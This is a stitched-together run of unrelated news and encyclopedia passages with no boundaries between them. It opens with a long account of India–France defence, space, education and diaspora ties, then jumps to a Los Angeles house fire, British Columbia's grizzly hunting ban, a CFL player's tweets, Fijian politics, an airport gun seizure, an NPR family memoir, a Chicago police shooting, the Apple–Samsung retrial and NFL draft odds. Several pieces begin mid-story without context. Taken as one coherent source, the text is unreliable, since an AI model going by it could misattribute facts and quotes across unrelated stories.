France has been a long-standing and reliable supplier of fighter planes and light utility helicopters to the Indian armed services with aircraft such as Breguet Alizé, Dassault Ouragan, Dassault Mystère IV, Sepecat Jaguar, Aerospatiale SA 315B Lama, Aérospatiale Alouette III and Dassault Mirage 2000. France also supplies Turbomeca TM 333 and jointly developed the HAL/Turbomeca Shakti helicopter engines for HAL Dhruv. DRDO 3D Multi-Function Control Radar (MFCR) was developed as part of the Indian anti-ballistic missile programme in cooperation with THALES of France. DCNS is building six Scorpène submarines of INS Kalvari class, which will be armed with SM.39 Exocet antiship missiles, under a technology transfer agreement at Mazagon Docks in Mumbai.
Dassault Rafale won the Indian MMRCA competition to supply 126 medium multi-role combat aircraft to the Indian Air Force. In April 2015, the inabilities to conclude negotiations on contractual obligations [87] led the Modi government to transform the acquisition into a G2G procurement for 36 aircraft in flyaway condition to equip 3 squadrons of the Indian Air Force. Defense analysts have voiced concern that equipment procurement requirements which were defined 2 decades ago are out of sync with current requirements and the future nature of air-combat.[88][89][90] Air forces of advanced Western nations, especially US & France, are reorganizing their air forces with increase in space-based assets and down-sizing of fleets of manned combat aircraft.[91][92][93][94][95][96] Autonomous drones have become the preferred platform for high-risk missions over enemy territory in both high and low intensity conflict zones. At present, NATO uses aerial reconnaissance drones to monitor the borders of Europe and US uses maritime surveillance drones in the Western Pacific and unmanned combat drones in missions against low-value and unsophisticated targets in Iraq, Afghanistan, Libya and Syria. Defense white-papers published in OECD countries show that use of combat and reconnaissance pilotless vehicles (like the flight-tested[97] Dassault nEUROn and Northrop Grumman X-47B UAVs or the Boeing X-37 robotic spacecraft) will become widespread in the years ahead.[98][99][100][101]
Space [ edit ]
ISRO and CNES (French National Space Agency) have an umbrella agreement, operating successfully since 1993, under which joint missions like Megha-Tropiques and SARAL have been successfully developed.[102] ISRO has launched French SPOT satellites (Spot-6 & SPOT-7) on PSLV satellite launch vehicles.
Under a commercial Launch Service Agreement between Antrix Corporation Limited (ANTRIX), the commercial arm of ISRO and ASTRIUM SAS, a Company under EADS, France, two advanced Remote Sensing SPOT satellites were successfully launched in 2013 & 2014 on-board ISRO's Polar Satellite Launch Vehicle.
Arianespace based at France has been the major provider of launch services to Indian Geo-Stationary satellites. Subsequent to the launch of APPLE satellite, 18 Indian satellites have been launched by Arianespace. On 7 October 2016, GSAT-18 communication satellite was launched successfully on board an Ariane 5 VA-231 launcher from Kourou, French Guyana.
Civil Nuclear Energy [ edit ]
A landmark Framework Agreement on Civil Nuclear Cooperation was signed between India and France on 30 September 2008 during the visit of Prime Minister Dr Manmohan Singh to France. Subsequently, during the visit of President Nicolas Sarkozy to India from 4–7 December 2010, the General Framework Agreement and the Early Works Agreement between NPCIL and Areva for implementation of EPR NPP Units at Jaitapur were signed.
Healthcare [ edit ]
Several French firms (Aventis, Rhodia, Pasteur Institute) are active in the life-sciences and medicare sector.
In February 2015, William Haseltine, president of ACCESS Health International and a former professor at Harvard Medical School opined that French healthcare was the best in the world surpassing even Singapore.[103]
Indian life insurance market is the fastest growing in the world and the seventh largest.[104]
Education [ edit ]
Indians spend 7.5% of household income on education.[104]
Campus France India, a student recruitment initiative of the French embassy in India, is showcasing France as an education destination for Indian students. From 1 to 7 October 2015 representatives of French universities and visa officers would travel to Bangalore, Chennai, Pune and Kochi for a course opportunities and visa guidance road-show. French government is offering 5-year visas to encourage more Indian students to study in France and allowing students who have completed their studies in France an extra year to look for employment within their sector. In 2014, France hosted 3,000 Indian students many of whom were provided full-scholarships covering costs of education and allowance for boarding, lodging and air-travel. The low costs of high-quality education has made France the third most preferred destination worldwide for international students.[105]
Education and Science & Technology [ edit ]
Education [ edit ]
The bilateral educational cooperation between India and France has grown over the last few years. France and India established a Consortrium of Indo-French Universities to increase educational cooperation.[24] Around 300 MoUs have been signed between Indian and French universities and private institutions. The number of Indian students studying in France in various fields has increased over the years. For the academic year 2011-2012, 2550 Indian students came to France.
The framework for bilateral educational cooperation is provided by the Educational Exchange Programme (EEP), which includes mutual recognition of degrees, bolstering the research programme and increasing student-scholar research mobility through a flexible visa regime was signed in 2007 by Joint Secretary, Department of Higher Education, Ministry of Human Resource Development and Secretary, Cooperation and Culture, French Ministry of Foreign Affairs (MFA). A Joint Working Group has also been set up under the EEP. One of the most important initiatives in the field of education has been the cooperation on the new IIT in Rajasthan,following a joint declaration in 2008. A Letter of Intent (LOI) has been signed in 2012.[citation needed]
In pursuant to the 1956 Treaty establishing De Jure Cession of French Establishments in India, France operates two world-class scientific research laboratories in India : French Institute of Pondicherry (IFP) and the École française d'Extrême-Orient (EFEO). In December 2014, Pondicherry University hosted the inaugural Indo-French Social Sciences Winter School. Pondicherry University and French Institute of Pondicherry (IFP) are jointly conducting the 2016 Social Sciences Winter School on the theme of Mobility and Social Dynamics from 28 November to 2 December 2016. The biennial event is attended by academics from France and India who lead multidisciplinary training workshops addressing theoretical and methodological issues in social science research.[106]
Alliance Française has an extensive network of 19 teaching-centres within India and is very popular for French-language courses and cultural programmes. French is the second most popular European language in India after English.[107]
Scientific & Technical Cooperation [ edit ]
France and India view each other as important partners in space technology and applications. Indian Space Research Organisation (ISRO) and its French counterpart Centre National de Etudes Spatiales (CNES) have a history of cooperation and collaboration spanning about four decades. Scientific community of both nations cooperate in joint radiation experiment, space components development and space education. ISRO Vikas rocket engine benefited from Indo-French scientific collaboration in France on the Viking 4A engine built by CNES/SEP.[108]
The Indo-French Centre for Promotion of Advanced Research (CEFIPRA) is the nodal framework for promoting bilateral scientific cooperation in fundamental and applied research, frontier technologies and exchange of scientists and post doctoral researchers. The office of CEFIPRA has been established in Delhi and the centre is currently funded through an annual corpus of €3 million with India and France equally contributing €1.5 million each. CEFIPRA completes 25 years in 2012. The 25th Anniversary Celebrations of CEFIPRA were formally launched in a programme organised in New Delhi on 6 March 2012. As part of the Silver Jubilee celebrations, a number of programmes have been envisaged; these include holding of seminars, organising science quiz in schools and screening of documentary films.
French authorities have provided land for extending the Maison de l‘Inde in France, which will contribute to augmenting accommodation facilities for Indian students in Paris.
Pasteur Institute in Coonoor, Tamil Nadu which opened on 6 April 1907 is one of the oldest vaccine manufacturing public sectors enterprises in India.
Collaborative efforts to preserve heritage buildings[109] and Vedic literature[110][111][112][113] in former French establishments in India has received popular appreciation among Indian populace and served to promote French technical expertise in restoration of monuments and documents.[114][115][116][117] Indian heritage conservation societies rely heavily on technical assistance and documentary archives of the French Institute of Pondicherry for restoration projects.[118][119][120][121][122][123]
Cultural Exchanges [ edit ]
Indian culture enjoys a wide and discerning audience among the French population, as is evident in the numerous and frequent cultural events organised all over France, spanning the entire gamut of Indian art, music, dance, cinema and literature. While the Indian Council for Cultural Relations (ICCR) sponsors visits of Indian artists to France as also exchange of students in the field of culture and art, there is a growing number of private impresarios who organise cultural events throughout France. A significant number of Indian artists are therefore giving performances in France regularly on a commercial basis or at the initiative of the various local cultural associations outside the purview of the official exchanges. The Indo-French Cultural Exchange Programme (CEP) provides the overall umbrella for the organisation of a variety of cultural programmes. The last (16th) session of the Joint Commission on Culture which reviews the CEP was held on 29 September 2009, in New Delhi.
The Institut français en Inde is active in Dehli.
Namaste France [ edit ]
The 15-month-long Indian cultural festival- "Namaste France" was held from 14 April 2010 to 28 June 2011. It was successful in terms of putting India on the cultural radar of France. ‘Namaste France’ was a comprehensive presentation of Indian culture including art, music, dance, fashion, tourism, films, and literature as also business and education in both its traditional and contemporary forms. The Namaste France Festival was organised in response to ‘Bonjour India’ a similar French cultural festival, organised by the French Embassy in India in 2009-2010. During the visit of Hon’ble Minister of Culture, Housing and Urban Poverty Alleviation, Kumari Selja to Paris to inaugurate the exhibition ‘The Last Harvest – Paintings of Tagore at the prestigious Petit Palais museum from 26 January to 11 March 2012, a Declaration of Intent was signed with her French counterpart for further reinforcing cultural cooperation on 26th January 2012. On the same day, a MOU was signed between the Ministry of Culture of India and the Louvre Museum with the aim of establishing an active partnership in the area of exchange of competencies and expertise, particularly in the field of museology, temporary exhibitions and other cultural events. The 2012 Cannes Film Festival was important for India. For the first time, four Indian films were selected for screening in different categories of the festival namely “Miss Lovely”, “Kalpana”, “Peddlers” and “Gangs of Wasseypur”. India is going to celebrate 100 years of Indian cinema in 2013. The Cannes Festival (15–26 May 2013), the Vesoul International Film Festival of Asian Cinema (Festival international des cinémas d'Asie) from 5–12 February 2013, and the 35th International Short Film Festival of Clermont-Ferrand (1–9 February 2013) have confirmed India as a ‘Country of Honour’ in 2013 to celebrate the Centenary of the Indian Film Industry.
Bonjour India [ edit ]
In 1985 Indian performers were cheered at the Trocadero Alley in Paris, and in 1989 French artists enchanted audiences at Marine Drive in Mumbai. Two decades later, Bonjour India came back with a bang in 2009, and by 2013 it grew into more and more collaborations. Scaling up in its third edition, Bonjour India 2017-18 is a four-month-long mega voyage across India that will celebrate Indo-French partnership as well as shape the next decade of human exchange between the two countries. From November 2017 to February 2018, Bonjour India covers around a 100 programmes and projects in over 30 cities across 20 states & union territories. Bonjour India provides a platform for enduring partnerships highlighting Indo-French innovation and creativity across the themes of Smart Citizen, High Mobility, Go Green.[124]
Diaspora [ edit ]
Indian Community in France [ edit ]
According to statistics published by the Indian Embassy in Paris, the Indian community including NRIs in France is estimated to be around 106,000, largely originating from Puducherry, Karaikal, Yanam, Mahe and Chandranagar. There are large communities of PIOs in overseas territories/departments of France: Reunion Island (about 250,000), Guadeloupe (about 57,000), Martinique (about 6,000) and St. Martin (about 300).[125]
Indians living in France have access to French social security protection and services through an agreement concluded in 2008.[68][126]
French Community in India [ edit ]
The French in India are predominantly the remnants of the French presence in India,[127][128][129] which began in 1673 with the establishment of French India and continued until 1962 when the French territory was formally transferred to India. The French presence was minor compared to the British and was generally ignored.
There were 12,864 French nationals residing in India in 1988. Nearly all are in the Union Territory of Puducherry in south-eastern India (11,726 individuals in 1988), with much smaller numbers in Karaikal (695 individuals), Mahé (50), Yanam (46), and 342 elsewhere in India.
Economic migration from France has resulted in the rise of skilled French expatriates in the urban population centres of Bangalore, Chennai, Hyderabad, Pune, Mumbai and New Delhi.
The French government had undertaken steps to strengthen Franco-Indian institutional and people-to-people ties.[130][131][132]
Franco-Pondichérien or simply Pondichérien is a term given to French citizens of Indian or mixed Creole ethnicity who continue to reside in Puducherry and who can trace their nationality to the French colonial period. Franco-Pondichériens constitute less than 2 percent of the present population of Puducherry and whose presence can be termed as ranging from 'ignored' to 'tolerated'. Franco-Pondichériens are socially regarded as foreigners in India. In France, Franco-Pondichériens face racial profiling and discrimination, due to their South Asian or mixed-race ethnicity and are perceived either as second-class citizens or economic immigrants.[133][134]
Franco-Pondichériens are customarily allowed access to Indian schools and universities on par with Non-Resident Indians (NRI).[135] India's tourism boom has turned Pondicherry into a popular travel destination and slowed the population decline of Franco-Pondichériens who find more business and work opportunities locally than having to repatriate to Europe.[136]
Indian Citizenship Act of the Constitution of India forbids dual nationality. It is illegal to concurrently possess an Indian passport and foreign nationality and/or passport. Foreigners who possess Overseas Citizenship of India (OCI) continue to benefit consular protection from their country of nationality. Franco-Pondichériens who have served in the French armed services are disqualified from OCI: "foreign military personnel either in service or retired are not entitled for grant of OCI". Whereas OCI eligibility regarding conscripts who have undergone the mandatory military service or Journée défense et citoyenneté is unclear,[137] Franco-Pondichériens enjoy treaty rights to visit India as guaranteed through Article IX of the 1956 Treaty establishing De Jure Cession of French Establishments in India:[138] "French civil servants, magistrates and military personnel born in the Establishments or keeping there family links shall be permitted to return freely to the Establishments on leave or on retirement."
In February 2015, Indo French Senior Citizens Association staged street-protests in Pondicherry to protest against denial of the French nationality and voting rights derived from the 1956 Treaty establishing De Jure Cession of French Establishments in India.[139] The 1956 treaty binds the Government of France to recognize French citizenship for individuals whose birth and nativity certificate had been registered during the French India regime.[140][141]
In June 2015, locally employed contractual staff at the French Consulate in Pondicherry stopped work to protest against wage discrimination.[142]
Perceptions [ edit ]
The tendency of French social academics to over emphasise the importance of the caste system for all matters pertaining to India has made French people prone to explaining away India via the caste system.
Social studies conducted by French researchers are prone to emphasise on the lacunae of India's economy rather than achievements and improvements in the sphere of poverty reduction, health-care, education, etc. French media portray India in an unfavourable light by focussing principally on events connected to crimes, corruption, inequalities, poverty, ethnic & religious strife, etc.[143]
The morbid fascination of European tourists with Hindu cremation rituals is perceived as lack of sensitivity besides being a gross invasion of privacy. Hoards of tourists flock to cremation grounds on the banks of the Ganges, especially in Varanasi (Bénarès), to photograph funeral pyres.
BBC World Service Country Rating Poll Data for France & India [ edit ]
According to a 2014 BBC World Service Poll, 35% of Indians view France's influence positively, 40% neutral and 25% expressing a negative view, while 40% of the French view India's influence positively, 11% neutral and 49% expressing a negative view.[144]
See also [ edit ]
Further reading [ edit ]
David-Néel, Alexandra (2002). L' Inde où j'ai vécu: Avant et après l'indépendance. Paris: Plon.
Elfi, Nicole (2008). Aux sources de l'Inde: L'initiation à la connaissance. Paris: Les Belles Lettres.
Gautier, François (2005). La caravane intérieure: Récit. Paris: Les Belles lettres.
The Reeves House at 219 North Avenue 53 and the Morrell House next door at 215 North Avenue 53 were built in the early 1900s. They were nominated for Historic-Cultural landmark status in 1988 to prevent them from being demolished for new apartment building construction. They were awarded the status that same year.
The fire "apparently gutted the Reeves house and then spread next door to the Morrell House," says the Eastsider. The cause of the fire is still under investigation.
Residential Fire Breaks Out N Ave 53 HighLand Park https://t.co/nZKQOAqum1 pic.twitter.com/80ttFeGSk6 — glenn shelhamer (@glennshelhamer) October 10, 2017
The Craftsman Morrell House was built in 1906 and designed by Charles E. Shattuck, an architect "known for country club designs and who designed the first mausoleum in Southern California," Charles J. Fisher told the Los Angeles Times in 1988.
The Reeves House, a Colonial Revival home, was built in 1904.
In a win for conservationists and environmental groups, British Columbia says it will no longer allow the trophy hunting of grizzly bears in the Canadian province starting on Nov. 30.
The new policy blocks all hunting of grizzlies in the Great Bear Rainforest but still allows people to hunt them for food elsewhere in British Columbia.
Of the approximately 15,000 grizzlies in British Columbia, about 250 are killed by hunters annually, according to government figures.
Forests, Lands, Natural Resource Operations and Rural Development Minister Doug Donaldson characterized that level of hunting as "sustainable" in an interview with the CBC.
However, he says the decision to end trophy hunting is "not a matter of numbers, it's a matter of society has come to the point in B.C. where they are no longer in favour of the grizzly bear trophy hunt."
This comes on the heels of an election win for the center-left New Democrat Party, beating the more conservative Liberal Party for the first time in 16 years. The NDP had promised to end trophy hunting during the campaign — which the Liberals had reinstated 16 years ago, according to the BBC.
The grizzly hunting season is opening in parts of the province in the next week, the CBC reports. According to the Toronto Star, many of the hunting permits had already been sold before the new government was formed.
The government has yet to spell out the mechanics of implementing the ban. Donaldson said in a statement that the government "will consult with First Nations and stakeholder groups to determine next steps and mechanisms as B.C. moves toward ending the trophy hunt."
Environmental groups are delighted about the decision. For example, Joe Foy from the Wilderness Committee said that they believe some 4,000 bears have been killed during the past 16 years, and now they are commending the government of British Columbia "for ending this cruel and barbaric sport for good."
But wildlife advocates are concerned that providing the option to hunt bears for food will create a loophole for trophy hunting to continue.
The Raincoast Conservation Foundation said that "to ensure a so-called food hunt and de-incentivize the killing of grizzlies, all trophy parts of the bear, such as the head, the hide and the paws, would have to be surrendered by hunters to provincial wildlife authorities." The group added that "virtually no one hunts grizzlies for food."
Donaldson told the CBC that bear parts that could be used as trophies would not be allowed to leave the province. "Hunters will no longer be able to possess the hide or the head or the paws of the grizzly bear."
Hunting guides have criticized the decision.
The U.S. has seen several recent policy changes that roll back protections for bears. The Trump administration announced in June that it was removing the Yellowstone grizzly bear from the endangered species list, because the bears' population has grown, as NPR's Colin Dwyer reported.
Carter took to Twitter Monday morning to make his accusation, along with an assessment of Bomber fans and a follow-up to Sunday’s 38-24 win. There’s a lot going on in this Tweet.
This is before a trash ass bombers fan spit on me… Worst fans in the league… can’t wait to kick y’all ass again! https://t.co/ezU9XHbhqD — Duron Carter (@DC_CHILLIN_8) September 4, 2017
Wow! That’s him with the blue and gold face paint! https://t.co/7J8uGT8zQx — Duron Carter (@DC_CHILLIN_8) September 4, 2017
Fans responded, most expressing sympathy for Carter – who had 10 catches for 101 yards, including another spectacular grab – with some apologizing on behalf on Bomber fans. But this being social media, a Bomber fan used poor grammar to chirp Carter and call him names.
Riders got lucky the last 3 weeks! And there fans are awful! And @DC_CHILLIN_8 way to try and get a fan kicked out! #loser #rat — Jared Penner (@Penner_93) September 4, 2017
That got a response from Carter…
The old me would have dragged him to the 50 yard line and gave him a beating like his parents failed to do in 1955 https://t.co/ULtj4eVpgE — Duron Carter (@DC_CHILLIN_8) September 4, 2017
The Banjo Bowl will be played at Investors Group Field in Winnipeg next Saturday.
The opposition politicians seem not to have appreciated how firmly the police have been under the control of the army since the (South African) chief of police, Ben Groenewald, resigned in November. He left in protest, accusing the armed forces of undermining his investigation into police brutality—they had even recruited the suspects into the army’s own ranks, despite the allegations hanging over them. Mr Groenewald’s successor is a soldier with a murky human-rights record, Brigadier-General Sitiveni Qiliho. He has set about clearing out the constabulary’s senior officers.
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Fiji appears much more stable than it was in the troubled years after a coup in December 2006. FijiFirst, the party of the coup leader turned prime minister, Frank Bainimarama, obtained a thumping 59% majority in elections in September 2014 and holds 32 of Parliament’s 50 seats. While the opposition is in disarray, the government benefits from an economy growing at 4% a year, as hordes of Australians flock to Fiji’s magnificent beaches. A lively reform programme has won Mr Bainimarama many admirers among his country’s 890,000 citizens. It involves building roads and bridges, delivering free education and legal aid, and providing cash handouts to small businesses.
Abroad, the prime minister walks taller these days, having once been widely seen as a pariah. In some places he was always welcome. In 2013 in Moscow, Mr Bainimarama brokered a deal with the Russian prime minister, Dimitry Medvedev, for the supply of equipment for Fijian peacekeepers. The next year Fiji abstained in the UN vote on Russia’s annexation of Crimea.
Beneath the surface, the place looks less happy. The islands’ indigenous people, known as i-Taukei, make up three-fifths of the population and communally own most of the land. Many of them despise the FijiFirst government. That is partly because they particularly hate the 2013 constitution, which describes all the country’s citizens as “Fijians” where before only the indigenes earned that title. A third of the population are ethnic Indians. Some indigenes claim to be suffering the kind of cultural annihilation that befell Australia’s Aborigines and New Zealand’s Maoris. Others dislike Mr Bainimarama’s reliance on his attorney-general, a Muslim, who also serves as finance minister. They divine an Islamic conspiracy to control the country. Paranoia runs rife in Mr Bainimarama’s Fiji.
Efforts to forge breakaway “Christian states” in the provinces of Nadroga-Navosa and Ra last year echoed indigenous fears. At the time Mr Groenewald said that the movements resembled harmless cults. Mr Bainimarama took the perceived threat more seriously, ordering an army clampdown.
Though he stepped down as military commander in 2014, he keeps his grip on the armed forces. Last August Brigadier-General Mosese Tikoitoga was pushed aside as armed-forces chief. He showed too much independence by promoting his choice of officers to the senior command and by barring Mr Bainimarama’s personal bodyguards from the officer’s mess at the Queen Elizabeth Barracks. He will now be exiled to Ethiopia, as ambassador.
Meanwhile, the UN remains hungry for Fiji’s blue helmets. They are a nice little earner for the government, too, but dispatching all those soldiers has repercussions back home. The first peacekeepers set off, for Lebanon, in 1978. Since then Fiji’s armed forces have overthrown the government three times: first in 1987, unleashing the coup genie; then late in May 2000; and then Mr Bainimarama’s coup. You have to give them something to do on home leave.
Undersecretary Art Evangelista, administrator of the Office of the Transport Security, disclosed to ABS-CBN that airport security screeners Manny Louie Oliva and Carlo Mendoza were on duty at Gate 6 entrance of the departure area when they noticed on the x-ray monitor an unknown image resembling a firearm within a box.
He said the firearm was placed in a backpack owned by Verlyn Tadeo Valenciano, 36 years old, a businessman from Subic, Zambales.
Valenciano was a departing passenger of Philippine Airlines flight PR 2543 bound for Dumaguete.
A search of the bag done in the presence of Valenciano yielded a PlayStation console box. But when examined further, a dismantled firearm wrapped in carbon paper was found.
According to Evangelista, Valenciano wrapped the firearm in carbon paper hoping that the x-ray machine would not detect it.
For failing to present any permit to carry, Valenciano will be facing a complaint for illegal possession of firearms.
Enlarge this image toggle caption Courtesy of Kitty Eisele Courtesy of Kitty Eisele
In the summer of 1936, a plain and sturdy farm woman from southern Minnesota traveled to New York to meet the mayor, stay at the Waldorf, dine at the Stork Club and make headlines in every major newspaper.
That woman was Susan Eisele, my grandmother, who Country Home magazine selected — out of 4,000 entrants — as its "Rural Correspondent of the Year."
The award came with a $200 prize and a two-week trip to New York and Washington.
Enlarge this image toggle caption Kitty Eisele/NPR Kitty Eisele/NPR
To understand what a big deal it was to go from Blue Earth, Minn. — more than a hundred miles south of Minneapolis — to Manhattan in 1936, consider this: My grandparents' farm didn't even have electricity yet. Susan wrote her newspaper columns by kerosene lamp.
She had started writing in high school, and her small news stories about rural topics had been published in regional papers since the 1920s.
At the time of the award, she had a column about life on her family's small farm. Her editor entered her in the contest without her knowledge, and she found out she won on the day she gave birth to her sixth child — my father.
So picture this sturdy farmwoman, just shy of 40, in her one good suit — black with white buttons — stepping into her suite at New York's famed Waldorf Astoria hotel, a 6-week-old infant in tow.
I suspect it was a publicity stunt for a slow August news month — "Country Mouse Visits Big City Newsroom!" — but it worked. The big city newspapers roared.
Rural Journalist Not Awed By City. A Bit Stunned by Its Size, but She Finds Country and Urban Reporters Alike. / Here as a Prize-winner / Correspondent of Blue Earth, Minn., Has Recipe, Untried, for Stuffed Peacock. — The New York Times Mrs. Eisele of Minnesota Expects Slight Thrill from Skyscrapers — The New York World-Telegram All Right for a Visit, Etc., Says Rural Authoress Here / Prize Winner Says She Wouldn't Give a Straw for Our Wild Oats — New York Post
Photographers descended on her suite at the Waldorf, posing her with her baby in the hotel's lone rocking chair, pecking at her typewriter (a second-hand Underwood purchased at Montgomery Ward.)
The New York World-Telegram published a photo of her with Mayor Fiorello LaGuardia, who is handing her a giant three-foot pencil instead of a key to the city.
But it was another headline that got to the real story: "Sorrow Inspires Mother to become Prize Writer."
In less than a decade of marriage, my grandmother had borne five children, and buried three of them in a cemetery outside their town.
When her 2-year-old daughter contracted dysentery from a visiting farmhand and died on Christmas Day, it almost broke her. It was then that my grandfather — whom she'd met when both were contributing to a newspaper in Iowa — urged her to start writing again about the modest but beautiful life that still remained.
Enlarge this image toggle caption Courtesy of Kitty Eisele Courtesy of Kitty Eisele
So she did: in columns about little boys making snow forts in a chicken coop, lost mittens, flax fields and second-day cake.
Her prize-winning column was called "Threshing Time" — a wry piece about the unsung work of cooking and cleaning for all the neighboring farmers who came to harvest the wheat.
Susan expected writing like this would amuse the "heartless, nervy" big city reporters, but to her surprise they took her seriously — and took her everywhere: Chinatown, Harlem, the Bowery and night court; Radio City Music Hall and the Stork Club, where she pronounced the drinking "spectacular, but amateurish" and thought the showgirls would eventually settle down as nice wives and mothers.
My grandmother was stunned to find the reporters so friendly — she had worried they'd make fun of her as a country rube, slay her "with sharp tongue and pen."
But judging by their many stories, she and the hard-boiled newsmen — and they were all men — hit it off. Walter Winchell liked her so much he traded columns with her, writing for her farm-reader audience as she shared her impressions of New York with his.
"In the East, we Midwesterners are regarded with amazement," she wrote of her trip. "It is hard for them to realize that we are the same people that they are. That we dress, act and think just like they do. Sometimes we think Easterners regard us a people living in a far-away land."
My grandmother never returned to New York. But all her life, she was in love with the city. She believed New York should belong to all Americans, "as London does to England, and Paris, to France."
Last month my sister and I took my recently widowed father to the Waldorf again, 80 years after his first trip there as an infant. This time the hotel didn't need to find him a rocking chair.
Instead we poured a glass of champagne, toasted my grandmother, and marveled at the twinkling lights of the Chrysler Building outside our windows.
Chicago Tribune
Chicago police investigate a police-involved fatal shooting in the 7300 block of South Merrill Avenue in Chicago's South Shore neighborhood on Friday, July 29, 2016.
CHICAGO — Videos from the fatal shooting of teenager Paul O'Neal by Chicago police show officers firing down a street as O'Neal sped away from them in a reportedly stolen car and, moments later, officers handcuffing O'Neal as he lay mortally wounded behind a home in the city's South Shore neighborhood.
Acting with uncharacteristic swiftness, Chicago officials on Friday made public nine videos in all. Shortly before the 11 a.m. release, the head of the Chicago police oversight agency called the video footage "shocking and disturbing" and said that her heart went out to the family of 18-year-old O'Neal.
The dead teen's family was so distraught after viewing videos at the Independent Police Review Authority headquarters Friday morning that they left without making any public comment, their lawyer told reporters.
Outside of IPRA's offices, Michael Oppenheimer, the lawyer for O'Neal's family, called the video footage "beyond horrific" and said he plans to call for a special prosecutor to look into the shooting of the unarmed teen.
"There is no question in my mind that criminal acts were committed," said Oppenheimer, a former prosecutor. "What I saw was pretty cold-blooded."
The videos show officers firing on the reportedly stolen Jaguar as it drove away from them, and their shots appear to place officers farther down the street in danger of being shot. The city's use-of-force policy explicitly bars police from firing at a moving vehicle if it represents the only threat against officers.
The videos capture at least 15 shots being fired in about five seconds as the Jaguar passed the officers and drove away.
The video then showed the Jaguar hitting a police SUV, and O'Neal took off running as police pursued him behind some homes, running up driveways and jumping fences. The clips do not show the actual fatal shooting that happened in a backyard, but the devices record the sounds of about four more shots.
The fatal shot itself was not captured on video, department officials said, even though the officer who chased and shot O'Neal was wearing a body camera.
Department officials have not said why the camera did not record the shooting.
In the minutes after the shooting, the officers' comments made clear that at least one of them suspected O'Neal had shot at them.
"They shot at us, too, right?" an officer asked.
According to Oppenheimer, one officer can be heard saying, "F_, now I'm going to get a 30-day suspension."
O'Neal's family is suing the department.
Ja'Mal Green, a spokesman for the O'Neal family, said he was disturbed by one video that showed a few officers appearing to commend each other after the shooting, shaking hands.
"They did everything but high-five each other," Oppenheimer said.
Oppenheimer said the videos expose the need to improve officers' training.
"This goes down to training on race, this goes down to training on the community," he said. "There's a lot that needs to be done. Some of it has been done. We have a long way to go."
Oppenheimer accused the officer who fired the fatal shot of intentionally shutting down his body camera so no footage would capture that moment.
"They decided they would control this, so the cover-up has begun," he said.
Green said the officers showed no remorse, letting O'Neal lie handcuffed "for a long time."
"That was very shocking to me," he said. "It was very hard for me to watch this video as well."
Before the release of the videos, Sharon Fairley, IPRA's chief administrator, said in a statement that the agency is proceeding "as deliberately and expediently as possible in pursuit of a swift but fair determination" into the black teen's shooting.
The footage, "as shocking and disturbing as it is," Fairley said, "is not the only evidence to be gathered and analyzed when conducting a fair and thorough assessment of (the) conduct of police officers in performing their duties."
Police Superintendent Eddie Johnson took quick action after the shooting, stripping three officers who opened fire at O'Neal of their police powers and saying it appeared they had violated departmental policies.
Chicago police officers tried to stop O'Neal about 7:30 p.m. July 28 in the South Shore neighborhood as he drove a Jaguar convertible reported stolen in suburban Bolingbrook, Ill., police said. Surveillance cameras tied O'Neal and three others to a spree of car thefts, officials in the suburb said.
O'Neal struck two Chicago police vehicles in the sports car, and two officers fired at him while he was in the car, authorities said. O'Neal fled from the car, police said, and a third officer chased him behind a home. After O'Neal refused to stop, the officer shot him.
O'Neal, who was unarmed, died of a gunshot wound to the back, authorities said.
The city's quick moves after O'Neal's shooting show how much has changed in the eight months since the release of video of a white police officer shooting black 17-year-old Laquan McDonald 16 times. The officer who shot McDonald, Jason Van Dyke, is charged with murder.
The McDonald video _ and long-simmering dissatisfaction with police use of force among many African-Americans _ led to sustained protests, and the U.S. Justice Department launched an investigation to determine whether police had systematically violated residents' rights. Federally enforced changes could come from that ongoing investigation, and Emanuel has announced or enacted a raft of reforms to policing and officer oversight.
Johnson broke with tradition by saying police appeared to have violated departmental policy in the O'Neal case. The superintendent, who was appointed by Emanuel amid the political crisis sparked by the McDonald video, issued an unusual department-wide memo saying that the information he had on the shooting "left (him) with more questions than answers."
The case also represents an about-face for city officials who have previously fought to prevent the release of videos of police shootings for as long as possible. In February, Emanuel announced the city would start releasing videos of shootings and other major uses of force within two to three months.
The three officers are stripped of police authority pending an inquiry by IPRA, which is also in transition. As detailed in a recent Tribune investigation, IPRA has long conducted superficial investigations and recommended light
punishments.
Emanuel has announced plans to abolish the agency and replace it with a more effective department, though neither he nor his allies have announced any details. Meanwhile, IPRA's leader, former federal prosecutor Fairley, has sought to reform the department even as it faces its demise.
Under Fairley, who was appointed in the wake of the McDonald video's release, IPRA has ruled more police shootings unjustified in the past two months than it had in the prior nine years.
(Credit: CBSi)
The trial, taking place in San Francisco, is in its final stages, with Samsung's attorney Bill Price making his closing statement yesterday. Price said that Apple tried throughout the trial to assert that its patents cover "all aspects of design and ease of use", preventing competing companies, like Samsung, from making devices that were attractive or easy to use.
Apple's patents are more limited than that, according to Price, and the company has tried to translate those narrow patents into directly representing the iPhone: "Apple has tried to mischaracterise these patents so they are the iPhone." However, he said, "These patents are very narrow… Apple doesn't own beautiful and sexy."
It has already been decided that Samsung infringed on Apple's patents, but the retrial is to determine the appropriate level of damages for the infringement. Samsung's attorneys are asking that the US$380 million patent infringement bill be cut to $US52 million.
Samsung claims that its products were altered to compete with the iPhone but that Apple had done the same thing in releasing the iPad mini after competitors' small-screen tablets. Price also said that Samsung's devices had unique selling points, like the Android operating system and larger screen sizes, and weren't sold based on their infringement of Apple's patents.
"Did you hear any evidence that anyone bought any of these phones because of the Apple patents?" Price asked in his closing statement. "What they're really saying in the market is 'justice' is 'just us'."
According to FiveThirtyEight in 2015, production through a player's first five years in the league was measured against the Approximate Value from 1980-2014. Offensive linemen, linebackers and running backs are the safest picks in the first round. All others have a below 50-percent success rate. Wide receiver is actually the most risky selection. The Browns used the No. 15 overall choice to select Baylor wide receiver Corey Coleman. There is no round in which a wide receiver is a 'safe' pick, however. The increased likelihood of a player failing is in large part due to the sheer volume of players at the position taken in an average NFL Draft.
The numbers support the team's selection of Baylor offensive lineman Spencer Drango and Louisiana-Monroe cornerback Trey Caldwell in the fifth round. They also support the choice of linebacker Joe Schobert and safety Derrick Kindred in the fourth round.
